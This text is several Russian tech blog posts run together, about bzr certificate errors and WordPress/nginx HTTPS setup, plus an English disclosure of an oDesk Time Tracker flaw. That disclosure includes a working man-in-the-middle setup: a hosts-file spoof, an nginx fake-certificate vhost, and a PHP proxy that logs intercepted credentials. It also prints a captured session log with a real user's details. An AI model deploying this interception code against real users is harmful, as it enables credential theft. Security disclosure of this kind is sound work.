Симптом: при выполнении команды вида

bzr выдаёт ошибку:

bzr: ERROR: Connection error: curl connection error (server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none)
on https://example.com/.bzr/smart

Есть два метода исправления проблемы.

1. Удаление пакета pycurl. Самый простой вариант. Из недостатков — некоторые пакеты (jockey, python-urlgrabber) зависят от pycurl; как следствие, если эти пакеты удалить нельзя, то данный вариант не подходит.
2. Использование urllib вместо pycurl.

   Для этого вместо

   bzr branch https://example.com/ trunk

   нужно использовать

   bzr branch https+urllib://example.com/ trunk

   Но и это еще не всё После выполнения команд bzr pull/bzr push bzr не запомнит модификатор urllib.

   Для полного исправления проблемы нужно открыть файл .bzr/branch/branch.conf, найти строки

   parent_location = https://example.com
   push_location = https://example.com

   и исправить их:

   parent_location = https+urllib://example.com
   push_location = https+urllib://example.com
   После этого всё должно работать.

Рекомендуется к прочтению:

• Bug 82086

© 2012 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

На днях понадобилось прикрутить к русскоязычному сайту, использующему WordPress, SSL. SSL требовался только в админке, поэтому решалось всё просто:

Но после логина и захода в панель администрирования браузер сказал, что соединение не является полностью защищённым — присутствовали объекты, которые загружались по HTTP, а не HTTPS.

Быстрый взгляд на исходный текст страницы и виновные найдены:

Эти три таблицы стилей грузятся с http, в то время как все остальные ресурсы грузятся с https. А путь (wp-content/languages/) указывает на то, что проблемы были вызваны файлами локализации. Заходим в wp-content/languages/, видим файл ru_RU.php, смотрим:

Очевидно, что проблема заключается в использовании константы WP_CONTENT_URL — если URL сайта начинается с http://, то вне зависимости от значений констант FORCE_SSL_xxx значение WP_CONTENT_URL всегда будет начинаться с http://. Что недопустимо при использовании SSL.

Лечение простое: заменить WP_CONTENT_URL на вызов функции content_url():

Патч:

Интересно, кому об этой ошибке сообщать?

© 2012 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

WordPress, начиная с версии 2.6, имеет улучшенную поддержку работы с HTTPS.

У администратора есть две возможности:

1. Использование HTTPS для работы в панели управления (wp-admin).
2. Использование HTTPS только для входа в систему.

Первое достигается путём добавления строки

в wp-config.php, второе — путём добавления строки

Добавляем одну из этих двух строк в wp-config.php и проблема решена? Но в действительности всё не так, как на самом деле

У специалистов по информационной безопасности существует негласное правило, по которому HTML-форма, передающая данные на HTTPS-страницу, должна также находиться на HTTPS-странице. Связано это с тем, что соединение, по которому передаются данные, может прослушиваться. В случае обычного HTTP-соединения злоумышленник может модифицировать передаваемую от сервера форму, заменив https на http, что приведёт к тому, что форма будет отправлена по обычному (не зашифрованному) соединению, и злоумышленник сможет перехватить всю ценную информацию. Усугубляется это всё тем, что пользователь не может сказать, куда передаётся форма, не открыв исходный код страницы.

Для предотвращения подобного безобразия сама форма должна находиться на HTTPS-страницы: злоумышленник не сможет изменить данные, передаваемые по зашифрованному каналу.

Казалось бы, при чём тут Лужков WordPress? Во-первых, WordPress даже при включённом FORCE_SSL_LOGIN не перенаправляет пользователя с http://.../wp-login.php на https://.../wp-login.php. А во-вторых, WordPress — это не только платформа для блоггинга, это еще и CMS, на основе которой делаются всякие магазины и даже целые панели управления сайтами (да, я принимал участие в создании одной из таких панелей). Иными словами, платформы, где успешный перехват логина и пароля может привести к очень печальным последствиям.

Какие есть варианты? Самый простой — написать простой плагин, который сделает перенаправление с HTTP на HTTPS для wp-login.php. Но лишний PHP-код скорости работы не прибавляет, а потому не наш метод. Тем более, когда всё можно сделать на уровне сервера.

Рассмотрим на примере nginx.

В nginx есть две возможности настроить HTTPS-сервер. Первая (она же наиболее часто используемая) — это задание отдельного виртуального хоста для HTTP- и HTTPS-версий сайта. Что-то вида

В этом случае всё просто: нужно добавить следующие строки в виртуальный хост, отвечающий за HTTP:

Вторая возможность — задать HTTP- и HTTPS-версию сайта в одном виртуальном хосте:

В этом случае добавляемый код будет сложнее:

Очевидно, что в директивах fastcgi_xxx нужно указать свои пути.

После этого nginx будет автоматически перенаправлять посетителя с http://.../wp-login.php на https://.../wp-login.php. Таким образом и форма, и адрес отправления формы будут находиться на защищённых страницах.

© 2012 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

1. oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is doable).

   To imitate the DNS spoofing we will need to edit /etc/hosts file:

   127.0.0.1 team.odesk.com

   And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used nginx:

   server {
       listen 80;
       server_name team.odesk.com;
   
       access_log  /var/log/nginx/team.odesk.com-access.log;
       error_log  /var/log/nginx/team.odesk.com-error.log;
   
       root /var/www/team.odesk.com;
   
       try_files junk @proxy;
   
       location @proxy {
           fastcgi_pass 127.0.0.1:8000;
           fastcgi_index index.php;
           fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
           include /etc/nginx/fastcgi_params;
       }
   }
   
   server {
       listen 443;
       keepalive_timeout 70;
   
       server_name  default;
       access_log  /var/log/nginx/secure-team.odesk.com-access.log;
       error_log  /var/log/nginx/secure-team.odesk.com-error.log;
   
       ssl on;
       ssl_certificate /etc/nginx/certs/fake-cert.crt;
       ssl_certificate_key /etc/nginx/certs/fake-cert.key;
       ssl_session_timeout 5m;
   
       ssl_protocols SSLv3 TLSv1;
       ssl_ciphers HIGH:MEDIUM;
       ssl_prefer_server_ciphers on;
       ssl_session_cache shared:SSL:10m;
   
       root /var/www/team.odesk.com;
   
       try_files junk @proxy;
   
       location @proxy {
           fastcgi_pass 127.0.0.1:8000;
           fastcgi_index index.php;
           fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
           include /etc/nginx/fastcgi_params;
       }
   }

   Nice PHP proxy that logs all communication between the client and server:

   <?php
       if (false == empty($_POST)) {
           $ch = curl_init('https://209.128.65.132' . $_SERVER['REQUEST_URI']);
   
           $data = $_POST;
           if (false == empty($_FILES)) {
               foreach ($_FILES as $key => $item) {
                   $data[$key] = '@' . $item['tmp_name'];
               }
           }
   
           $f = fopen(dirname(__FILE__) . '/log.txt', "a");
           fwrite($f, $_SERVER['REQUEST_URI'] . "\n");
           fwrite($f, "<<<\n");
           fwrite($f, print_r($data, 1));
           fwrite($f, ">>>\n");
   
           curl_setopt($ch, CURLOPT_POST, true);
           curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
           curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: team.odesk.com'));
           curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
           curl_setopt($ch, CURLOPT_HEADER, false);
           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
   
           $s = curl_exec($ch);
           curl_close($ch);
           fwrite($f, $s);
           fwrite($f, "---\n\n\n");
           fclose($f);
           print $s;
       }
       else {
           print "status=S_OK\n";
           print "Fraude perit virtus";
       }
   ?>

   Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:

   SERVER: https://209.128.65.132/client/receiver
   IN:
   Array
   (
       [version] => Linux/1.3.4
       [status] => C_NORMAL
       [company] => ics2:ics2
       [user] => vkolesnikov
       [password] => password_goes_here
       [uid] => 5f323dce-ee5c-4347-9074-ed5d356362d4
       [computer] => SJINKS
       [os] => Linux Ubuntu 9.04 (2.6.28-13-server)
       [snapint] => 600
       [trigger] => login
       [keyev] => 1
       [mousev] => 1
       [events_per_minute] => 1245070126,1,1
       [activewintitle] => client : mc
       [screensaveron] => false
       [memo] =>.
       [task_id] =>.
       [task_description] =>.
       [screenshot_width] => 1680
       [screenshot_height] => 1050
       [timestamp] => 1245070127
       [screen] => @/tmp/phpqzwmeh
   )
   
   OUT:
   status=S_OK
   servertime=1245070127
   hiresdesktop=enable
   webcam=user
   period=600
   use_https=yes
   company_name=ICS
   first_name=Vladimir
   last_name=Kolesnikov
   tz=Europe/Athens
   company=ics2:ics2
   login=vkolesnikov
   companies=Sphere314,extrememember,ics2:ics2
   odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25
   task_integration_policy=1
   cache_size=120
   And here comes the second vulnerability.
2. Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.

The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker’s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider’s account.

© 2012 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

В WordPress, начиная с версии 2.6, встроена поддержка HTTPS: можно сделать либо HTTPS-логин, либо поместить панель администратора за SSL. Однако, из-за особенностей реализации, когда пользователь входит в систему, он получает cookie либо для HTTP, либо для HTTPS. Иными словами, если пользователь попал на http://example.com/wp-admin/, то при переходе на https://example.com/wp-admin/ ему придётся входить в систему еще раз.

Всё бы ничего, но если плагин делает POST на HTTPS, то пользователь попадает на wp-login.php, который после успешного входа сделает перенаправление (GET) на URL, который ожидает принять POST. При этом если POST шёл на https://example.com/wp-admin/admin.php?page=somepage&noheader=1, то пользователь увидит безобразную страницу.

К счастью, есть простое решение. Как известно, аутентификационные cookies устанавливает процедура wp_set_auth_cookie. Перед их установкой она генерирует событие set_auth_cookie, которому передаются следующие параметры:

• $auth_cookie — значение для cookie, сгенерированное процедурой wp_generate_auth_cookie();
• $expire — 0, если пользователь не выбрал "Запомнить меня", не 0 в противном случае;
• $expiration — срок жизни cookie;
• $user_id — ID пользователя (из таблицы wp_users);
• $scheme — схема аутентификации: secure_auth для SSL, auth для HTTP.

Использовать эти данные можно следующим образом:

© 2012 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.